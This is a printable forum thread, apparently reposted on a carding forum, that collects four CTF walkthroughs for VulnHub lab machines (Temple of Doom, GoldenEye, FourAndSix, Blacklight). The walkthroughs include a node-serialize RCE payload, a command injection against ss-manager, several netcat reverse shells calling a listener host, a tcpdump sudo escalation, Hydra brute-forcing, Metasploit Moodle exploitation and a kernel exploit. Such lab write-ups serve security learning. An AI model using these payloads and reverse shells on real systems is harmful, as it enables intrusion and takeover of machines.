[Guide] How to Hack the Temple of Doom (CTF Challenge)

[Guide] How to Hack the Temple of Doom (CTF Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the Temple of Doom (CTF Challenge) (/Thread-Guide-How-to-Hack-the-Temple-of-Doom-CTF-Challenge)

[Guide] How to Hack the Temple of Doom (CTF Challenge) - NINZA - 05-14-2020

Temple of Doom is a new CTF challenge VM on vulnhub made by

[To see content please register here]

. You can download it from

[To see content please register here]

. The aim of this lab is to capture the flag in the root directory of the system. This lab is inspired by the Indiana Jones movie Temple of Doom. The level of this lab is intermediate.
Steps Involved

Port scanning
Burp intercept to capture cookies.
Cookie processing for node serialize RCE vulnerability.
Getting the current user by RCE.
Getting a netcat shell for the current user.
Discovering ss-manager being run as root.
Exploiting command execution vulnerability on ss-manager to get a netcat shell
Shell crafting from tcpdump and sudo
Getting a netcat shell as root.
Grabbing the flag.

Let’s get started
First and foremost, we scanned the IP address with the most popular scanning tool called nmap. It discovered all the ports open on the victim’s system.
nmap -A 192.168.1.130
1
nmap -A 192.168.1.130
[Image: 1.png?w=687&ssl=1]

Hence, we observed that port 666 is hosting a node.js express framework so there must definitely be a web page at port 666. We tried to open the URL on the browser and obtained the following result.
[Image: 2.png?w=687&ssl=1]

We also opened the source code behind the page but nothing seemed to impress us. So, it was time to capture the page’s request using Burp Suite. Burp Suite acted as a proxy and revealed the activity going behind the front end.
[Image: 3.png?w=687&ssl=1]

We got a cookie which was double encoded. It was a Base64 + URL encoding (because we observed “%3D” at the end of the cookie which is nothing but a URL encoding).
So, we sent this request to the repeater and then decoded the cookie using these keyboard shortcuts:
CTRL+SHIFT+U (to decode URL)
CTRL+SHIFT+B (to decode base64)
[Image: 5.png?w=687&ssl=1]

We observed the username and some token details in the cookie. But there was an add-on in the information when we refreshed the page again, it gave us an error like:
[Image: 5_0.png?w=687&ssl=1]

So, it gave us a hint to look over at the cookie we just decoded. We observed that there was a missing quotation mark before Friday. Hence, we fixed the quotation mark first.
[Image: 5_1.png?w=687&ssl=1]

Then we encoded the cookie again to replicate the format of the cookie that we got before with the keyboard shortcuts:
CTRL+B (To encode in base64)
CTRL+U (to encode in URL)
And then we forwarded it to observe the following output:
[Image: 6.png?w=687&ssl=1]

We inferred from the response of repeater that the page will output the username provided in the cookie.
We looked at the cookie again, it was of the format:
{“username”: “<uname>”, “csrftoken……..”}
We removed the rest of the token details first to check for any errors.
[Image: 7.png?w=687&ssl=1]

We then encoded it and sent a request to the server and checked its response in the repeater.
[Image: 8.png?w=687&ssl=1]

It seemed to be working even without Token details. Then we edited the username with a custom input. Example: {“username”:“Harshit” }
[Image: 9_0.png?w=687&ssl=1]

Repeating the process of encoding it and sending it to the repeater yielded the following result to us.
[Image: 9_1.png?w=687&ssl=1]

Hence, we finally established that node-serialize was used. (You can read more about node-serialize

[To see content please register here]

).
What serialize does is that it determines, which data of the user object should be stored in the session. The user id (you provide as the second argument of the function) is saved in the session and is later used to retrieve the whole object via the unserialize function.
Which turned out to be vulnerable! Refer to

[To see content please register here]

article to read about how node-serialize is vulnerable to Remote Code Execution!
Hence, we used the shell provided to us by Ajin Abraham (on his

[To see content please register here]

) we modified the username argument with the shell.
[Image: 10.png?w=687&ssl=1]

The shell:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
1
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
Explanation of the shell:
_$$ND_FUNC$$_function() : Executes a function locally.
child_process is a module in node.js that spawns child processes in a manner similar to popen(3).
child_process.exec () method: This method runs a command in a console and buffers the output.
It specifies string Shell to execute the command with ( Default: ‘/bin/sh’ on UNIX)
So, the shell we made told us the current user on the Linux system. We encoded it and forwarded it.
[Image: 11.png?w=687&ssl=1]

Hence, the current user was nodeadmin.

We then executed the command ls -lart
Encoded it and forwarded it and the following output was observed:
[Image: 12.png?w=687&ssl=1]

After establishing this much information, we ran a reverse netcat shell command.
[Image: 13.png?w=687&ssl=1]

Then we encoded it again and forwarded the request. Side by side, we activated a listener on kali and BOOM! We got a connection
id
1
id
It showed us the current user was nodeadmin.
We then tried to spawn a TTY shell using python utility in the victim’s machine.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Which gave us a teletype!
cd /home
ls
cd fireman
1
2
3
cd /home
ls
cd fireman
Permission Denied!
[Image: 15.png?w=687&ssl=1]

We also observed that nodeadmin doesn’t have proper access to the folder fireman. Since nodeadmin is not the root, fireman directly or indirectly could give us the root.
Let us see if any process is run by a fireman as root or not
ps aux | grep fireman
1
ps aux | grep fireman
We observed that ss-manager is run by a fireman as root. After googling a little, we found that ss-manager was vulnerable to remote code execution (refer

[To see content please register here]

).
ss-manager is short for Shadowsocks.
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded devices
and low-end boxes. The ss-manager is meant to control shadowsocks servers
for multiple users, it spawns new servers if needed.
Hence, we’ll use Shadowsocks with netcat command execution by:
nc -u 127.0.0.1 8839
add: {“server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.1.106 4444 ||"}
1
2
nc -u 127.0.0.1 8839
add: {“server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.1.106 4444 ||"}
[Image: 16.png?w=687&ssl=1]

Side by side, we activated a netcat listener and obtained a shell.
Then, we spawned a teletype(TTY) using python again and then we checked for the sudoers list using:
id
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
1
2
3
id
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
[Image: 17.png?w=687&ssl=1]

We observed that tcpdump is present which could also be used for remote code execution!
To execute a shell, we moved to the directory /tmp since any user can read, write or execute files in this directory.
cd /tmp
echo "nc -e /bin/bash 192.168.1.106 8888" > shell
chmod 777 shell
sudo tcpdump -ln -I eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root
1
2
3
4
cd /tmp
echo "nc -e /bin/bash 192.168.1.106 8888" > shell
chmod 777 shell
sudo tcpdump -ln -I eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root
The above commands changed the directory to tmp, created a file called shell with a reverse netcat shell, changed the permission of the file of that file to RWX and finally used sudo and tcp dump for remote code execution!
[Image: 18.png?w=687&ssl=1]

Side by side we setup a netcat listener:
nc -lvp 8888
1
nc -lvp 8888
Again, we spawned a teletype using python:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
BOOM! We have the root access!
[Image: 20.png?w=687&ssl=1]

In the end, we found the flag in the root directory!
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
CONGRATS! You too are a soldier now!
[Image: 21.png?w=687&ssl=1]

Welcome to another boot2root CTF challenge “Golden Eye” uploaded by Creosote on vulnhub. As, there is a theme, and you will need to snag the flag in order to complete the challenge and you can download it from

[To see content please register here]

By author, it has a good variety of techniques needed to get root – no exploit development/buffer overflows. So, on the basis of our experience and knowledge, we have made progress in solving the lab.
Level: Intermediate
Penetrating Methodologies:

Network scanning (Nmap)
Surfing HTTP web services
Fetched Encoded password
Decoding (Burp suite)
Brute-Force (Hydra)
Connecting to pop3 (Netcat)
Extracting password
Adding domain Name (/etc/host)
Exploring Domain Name over browser
Brute-force (Hydra)
Login to Server
Exploiting Moodle (Metasploit)
Kernel post Exploit (overlayfs)
Capture the flag

Let’s start
First and foremost we’ll scan the IP address with nmap. In my case, the IP address was 192.168.1.140.
nmap -p- -A 192.168.1.140 --open
1
nmap -p- -A 192.168.1.140 --open
[Image: 1.png?w=687&ssl=1]

Since port 80 was opened; so I explored target IP in the web browser. Here we got a little clue for login page /sev-home/ as you can see in the image.
[Image: 3.png?w=687&ssl=1]

After that, we thought to check it’s the source code which leads us to another clue to move ahead. Here we clicked on the link terminal.js as shown in the image.
[Image: 4.png?w=687&ssl=1]

The terminal.js put-up HTML code in front of us. Inside this html code, I read the given comment captured hint for two usernames (Boris, Natalya) and a password which was encoded as shown in the below image.
[Image: 5.png?w=687&ssl=1]

We copied the above-encoded text and use burp decoder for decoding HTML encoded text into plain text and obtain “InvincibleHack3r” password.
[Image: 5.png?w=687&ssl=1]

From the earlier clue of navigating to /sev-home/ to login. We browsed 192.168.1.140/sev-home/ in the browser and we got a clue that it has POP3 service as shown in the image.
[Image: 7.png?w=687&ssl=1]

Earlier we had enumerated the port 55006 and 55007 which were open for unknown service thus we used nmap version scan for them and found SSL/pop3 for 55006 and pop3 for 55007 along with their version.
nmap -Pn -p 55006,55007 -sV 192.168.1.140
1
nmap -Pn -p 55006,55007 -sV 192.168.1.140
[Image: 8.1.png?w=687&ssl=1]

So after getting two usernames, we applied brute-force for each users attack with help of the following command:
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
1
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
We got the password: secret1 for username boris as shown in the image.
[Image: 8.png?w=687&ssl=1]

Similarly with user natalya on port 55007 by using the command:
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
1
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
We got the password: bird for username natalya as shown in the image.
[Image: 9.png?w=687&ssl=1]

Using Netcat command we have logged in with the username: boris and password: secret1! .This gave us three messages as shown in the image.
[Image: 10.png?w=687&ssl=1]

Now reading all of the three messages, the clues given in the messages were of no use and are just made to confuse you, as it has wasted our time to make a clue out of it.
[Image: 12.png?w=687&ssl=1]

Similarly using Netcat command we have logged in with the username: natalya and password: bird. This gave us two messages as shown in the image.
nc 192.168.1.140 55007
1
nc 192.168.1.140 55007
[Image: 13.png?w=687&ssl=1]

After opening all the messages, we saw some clues like username and password, domain name along with a directory name of the domain.
Username: xenia
Password: RCP90rulez!
Domain name: /severnaya-station.com/
Server directory: /gnocertdir
1
2
3
4
Username: xenia
Password: RCP90rulez!
Domain name: /severnaya-station.com/
Server directory: /gnocertdir
From this point, we thought of the adding the servers IP along with the domain name into Linux /etc/hosts. File.
[Image: 14.png?w=687&ssl=1]

As you can see in the image we have added the domain named along with servers IP inside /etc/host file in our local machine and saved it.
[Image: 15.png?w=687&ssl=1]

Next, we thought of browsing /gncertdir along with the Domain name.

[To see content please register here]

Ohhh!!! It was GoldenEye welcome page which was designed within Moodle CMS, this can be taken as a hint for further use.
[Image: 16.png?w=687&ssl=1]

Now on further exploring the tabs on the page, inside message box, we opened the recently found conversation between Xenia and Doak (another new user).
[Image: 17.png?w=687&ssl=1]

Then again use hydra for fetching password for doak with help of the following command
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
1
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
We got the password: a goat for username: doak as shown in the image.
[Image: 18.png?w=687&ssl=1]

nc 192.168.1.140 55007
1
nc 192.168.1.140 55007
Using Netcat command we have logged in with the username: doak and password: goat. This gave us a message. Now further reading the message, we acquired a username and password.
Username: dr_doak
Password: 4England!
1
2
Username: dr_doak
Password: 4England!
[Image: 19.png?w=687&ssl=1]

Now Logging in with the acquired username: dr_doak and password: 4England! into the domains login page as shown in the image. On exploring all the tabs in the navigation section of the page, we saw an s3cret.txt file in my private files.
[Image: 20.png?w=687&ssl=1]

So we download s3cret.txt and open it with the help of cat command. It gave me the path for jpg image.
cat s3cret.txt
1
cat s3cret.txt
[Image: 21.png?w=687&ssl=1]

We have downloaded the image file and opened it where we saw an encoded line into the base64 format, it made us curious to decode it.
wget

[To see content please register here]

string for-007.jpg
1
2
wget

[To see content please register here]

string for-007.jpg
[Image: 22.png?w=687&ssl=1]

echo {base64 encode text} | base64 -d
1
echo {base64 encode text} | base64 -d
And found xWinter1995x! as plain text which could be any password.
[Image: 23.png?w=687&ssl=1]

Now further exploring the website we have logged into lead us to TinyMCE HTML editor inside the plugins and text editors tab. Here we have selected Google spell as a spell engine and saved the changes. But it didn’t work here, so I take help of Google.
[Image: 24.png?w=687&ssl=1]

After searching for the Moodle Exploit, we found an exploit 29324, here we saw that spell engine selected for tiny MCE is PSpellShell as shown in the image. Here we have also got a clue of a new Username: admin.
[Image: 25.png?w=687&ssl=1]

So now we have changed the Spell engine to PSpellShell and saved the changes made.
[Image: 26.png?w=687&ssl=1]

Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spell checking requests. This module also allows an attacker to leverage another privilege escalation vulnerability.
use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!
1
2
3
4
5
use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!
Booom!!! We successfully got command shell session 1.
[Image: 27.png?w=687&ssl=1]

As we love meterpreter session, so I upgrade it into the meterpreter shell.
session -u 1
1
session -u 1
Then with help of sysinfo, we enumerate its kernel, here we focused on Linux version which is 3.13 and if you will search in Google then you find post exploit for Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs‘ Local Privilege Escalation
[Image: 28.png?w=687&ssl=1]

So we search kernel exploit for Linux 3.13 and found exploit 37292 inside Kali.
searchsploit Linux 3.13
1
searchsploit Linux 3.13
Then with help of gcc, we compile it as shell inside /root directory.
[Image: 29.png?w=687&ssl=1]

Then upload the compiled shell file into victim’s machine via meterpreter. Then use python one-liner to access the proper terminal and run following command.
python –c 'import pty;pty.spawn("/bin/bash")'
chmod 777 shell
./shell
1
2
3
python –c 'import pty;pty.spawn("/bin/bash")'
chmod 777 shell
./shell
Unfortunately!! Got error gcc not found.
[Image: 30.png?w=687&ssl=1]

We saw a message after accessing it that gcc is not currently installed. So to solve this issue we thought some alternative program to gcc and found cc as an alternative of it.
By making changes into the original file: 37292.c, we replace gcc to cc as shown in the image.
[Image: 31.png?w=687&ssl=1]

We have successfully compiled the exploit using cc command:
cc 37292.c -o raj
1
cc 37292.c -o raj
Now by uploading the shell into the root directory. By giving all the permissions and we have easily access it without any error message.
upload /root/raj
chmod 777 raj
./raj
1
2
3
upload /root/raj
chmod 777 raj
./raj
Yuppie!! We got root access successfully!!
[Image: 33.png?w=687&ssl=1]

Now let’s finish this task by capturing flag.txt inside /root directory.
cd /root
ls -ls
cat .flag.txt
1
2
3
cd /root
ls -ls
cat .flag.txt
[Image: 34.png?w=687&ssl=1]

FourAndSix is a CTF challenge uploaded by Fred on vulnhub. You can download it from

[To see content please register here]

.
The aim of this lab is to capture a flag in the root directory.
This lab was very confusing to even begin with due to the lack of description by the author. So, on the basis of our experience, we have progressed in the lab.
Steps involved:

Port scanning and discovery of ports.
Discovery of the shared folder (misconfigured NFS).
Mounting a directory to see the contents in the shared folder.
Mounting and checking the root directory.
Capturing the flag.

Let’s get started then!
First and foremost we’ll scan the IP address with nmap. In my case, the IP address was: 192.168.1.105.
nmap -A 192.168.1.105
1
nmap -A 192.168.1.105
[Image: 1.png?w=687&ssl=1]

We established from the scan that there is an NFS service running.
Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network.
Let us check the people having access to the shared folder.
showmount -e 192.168.1.105
1
showmount -e 192.168.1.105
[Image: 2.png?w=687&ssl=1]

We see that everyone has access to the shared folder.
Now for the sake of checking what is in the shared folder, we’ll create a directory in the /tmp folder to mount contents of the shared folder.
cd /tmp
mkdir raj
mount -t nfs 192.168.1.105:/shared /tmp/raj
cd raj
ls
1
2
3
4
5
cd /tmp
mkdir raj
mount -t nfs 192.168.1.105:/shared /tmp/raj
cd raj
ls
We have received an image file in our new directory.
[Image: 3.png?w=687&ssl=1]

Let’s try and mount this image file to see the contents in it.
mkdir usbstick
mount USB-stick.img usbstick
cd usbstick/
ls -la
1
2
3
4
mkdir usbstick
mount USB-stick.img usbstick
cd usbstick/
ls -la
[Image: 4.png?w=687&ssl=1]

But we obtained nothing useful at all.
Let’s check and see if the root directory is shareable or not.
mkdir main
mount 192.168.1.105:/ main
cd main
ls -la
1
2
3
4
mkdir main
mount 192.168.1.105:/ main
cd main
ls -la
[Image: 5.png?w=687&ssl=1]

Yes! It indeed is shareable.
Let’s move in the root directory now.
cd root
ls -la
1
2
cd root
ls -la
We see a text file called proof.txt!
cat proof.txt
1
cat proof.txt
[Image: 6.png?w=687&ssl=1]

Voila! We have obtained the flag! Happy hacking!

Hello everyone. In this article, we’ll be hacking a new lab Blacklight. The motto of the lab is to capture 2 flags. It is made by Carter B (downloadable from

[To see content please register here]

) and after a lot of brainstorming, we are presenting before you a really efficient method to get root and capture the flags.
Steps involved:

Network discovery and port scan
Directory busting the server
Accessing robots.txt on the webpage
Capturing flag 1 from robots.txt and discovery of a new port 9072
Connection to port 9072 to upload a netcat reverse shell
Getting root access and capturing the second flag

Let’s get started then.
First and foremost, we’ll discover the IP address of the lab. In my case, the IP is 192.168.1.102
[Image: 1.png?w=687&ssl=1]

Let’s scan all the open ports with the most popular tool nmap. A simple nmap might show fewer ports open so we try the all ports scan:
nmap -p- -A 192.168.1.102 --open
1
nmap -p- -A 192.168.1.102 --open
[Image: 2.png?w=687&ssl=1]

We discovered that port 80 is open. So there must be a webpage associated with it. Let’s move towards our browser and check the website.
[Image: 3.png?w=687&ssl=1]

There seems nothing interesting here! But wait… maybe there are some directories that could have something valuable for us.
Let’s do a directory buster scan over the IP then.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

We observed that robots.txt is available here. It surely would have some information or some directories that could be beneficial. Let’s go over to our browser and access this.
[Image: 5.png?w=687&ssl=1]

Boom! There it is! Our very first flag. Let’s see what’s in there.
[Image: 6.png?w=687&ssl=1]

We have got a hash as flag1. But the next flag is unknown. But wait, the second line of this file says 9072! So, it has something to do with 9072 port and “the secret is at home” means only one thing–the next flag is at home. But to access home, we’ll have to be rooted.
There is another dictionary file present here but the current use of it is unknown.
Holding that thought, let’s go ahead and try connecting to port 9072 with telnet.
[Image: 12.png?w=687&ssl=1]

We successfully connected to a console but there is a restriction provided by the author here. We cannot execute more than 2 commands in this console! As soon as we hit 2 commands the server will quit and the listener won’t accept a connection again.
So, the first command that we type is .help, it will show us a list of things that we can do:
.readhash
.exec
.quit
1
2
3
.readhash
.exec
.quit
The obvious choice was .readhash but here is another fish! It is of no use! Just like the dictionary provided in robots.txt was of no use!
Now, we’ll try and upload a reverse netcat shell over the command line interface using msfvenom:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.120 lport=4444 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.120 lport=4444 R
[Image: 13.png?w=687&ssl=1]

Copy the raw code provided (mkfinfo /tmp/cdbe; nc 192.168.1.120 4444 0</tmp/cdbe | /bin/sh >tmp/cdbe 2>&1; rm /tmp/cdbe)
We’ll paste this code in the blacklight console using the .exec command:
.exec mkfinfo /tmp/cdbe; nc 192.168.1.120 4444 0</tmp/cdbe | /bin/sh >tmp/cdbe 2>&1; rm /tmp/cdbe
1
.exec mkfinfo /tmp/cdbe; nc 192.168.1.120 4444 0</tmp/cdbe | /bin/sh >tmp/cdbe 2>&1; rm /tmp/cdbe
[Image: 14.png?w=687&ssl=1]

The unique thing about this console is that the output of any command will never be shown. It all will happen in the background and then you’ll have to manually dump it. But let’s not go there as there is no need.
Side by side, let’s set up a netcat listener over port 4444 for the payload we just inserted.
[Image: 15.png?w=687&ssl=1]

AND WE HAVE A CONNECTION!
whoami
1
whoami
Told us we are in root.
But this is not a proper shell. Let us spawn a pty shell using the python command:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
And we have a proper shell now!
Remember what flag1.txt told us? The secret is at home!
cd /home
ls
cd blacklight
ls
1
2
3
4
cd /home
ls
cd blacklight
ls
We found a text file called hash.txt!
cat hash.txt
[Image: 16.png?w=687&ssl=1]

We examined the home directory one more time. We found a directory called a secret! Remember when flag1.txt told us that the secret is in the home? Let’s check what is inside the .secret directory.
We obtained an image file called “flag2-inside.jpg”
cd /home
cd blacklight
ls -la
cd .secret
1
2
3
4
cd /home
cd blacklight
ls -la
cd .secret
It is obvious from the name of the file that the flag is inside this image. So, lets copy it inside the /var/www/html directory.
cp flag2-inside.jpg /var/www/html
1
cp flag2-inside.jpg /var/www/html
[Image: 51.png?w=687&ssl=1]

Let us run this on the web page now! Hmmmm… Why are these two words capitalized?
Wait! There is a tool called OUTGUESS!

[Image: 52.png?w=687&ssl=1]

Let’s download this image on the Desktop and use outguess to copy the flag hidden in a file called flag2.txt
./outguess -r /root/Desktop/flag2-inside.jpg -t flag2.txt
cat flag2.txt
1
2
./outguess -r /root/Desktop/flag2-inside.jpg -t flag2.txt
cat flag2.txt

[Image: 53.png?w=687&ssl=1]

Finally! We obtained the second flag! Happy Hacking!